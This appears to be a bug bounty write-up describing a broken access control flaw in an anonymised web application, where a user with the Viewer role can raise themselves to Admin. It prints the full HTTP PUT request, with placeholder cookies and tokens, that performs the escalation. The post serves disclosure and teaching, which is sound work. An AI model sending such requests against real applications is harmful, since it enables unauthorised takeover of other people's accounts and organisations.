Hi Everyone,
This time I am going to talk about a privilege escalation issue that I have found on a program during testing. I was testing this let’s say test.com application from some days and I didn’t found any access control issues as they were to strict with the permissions.
Earlier they don’t have different roles. After sometime they announced the User Management feature with different roles like viewer, editor and manager giving different access to features.
During testing these roles I found most of the endpoints have proper permission checks, however when tested the request to change the role I found that there was no permission check and the user with the role Viewer is able to change his own role to Admin thus having full control over the organization.
Following was the request:
PUT /api/v2/marketers/1234/users HTTP/2
Host: test.com
Cookie: {COOKIES_FROM_USER’S_ACCOUNT_HAVING_ROLE_VIEWER}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Ob-Ajax-Csrf-Token: {CSRF_TOKEN_HERE}
Content-Type: application/json
Content-Length: 66
Origin: https://tes.com
Referer: https://test.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Sec-Gpc: 1
Te: trailers
[{"userEmail":"<EMAIL_ADDRESS_OF_VIEWER>","role":"ADMIN"}]
After sending this request using viewer’s email address, cookies and csrf token the viewer role has changed to Admin, thus granting him full access to the organization.
The thing to learn here is to keep an eye on the updates that different programs push and test the new features as soon as possible so that you can find the issues before anyone else can.
Hope so you have enjoyed this :)
Many Thanks,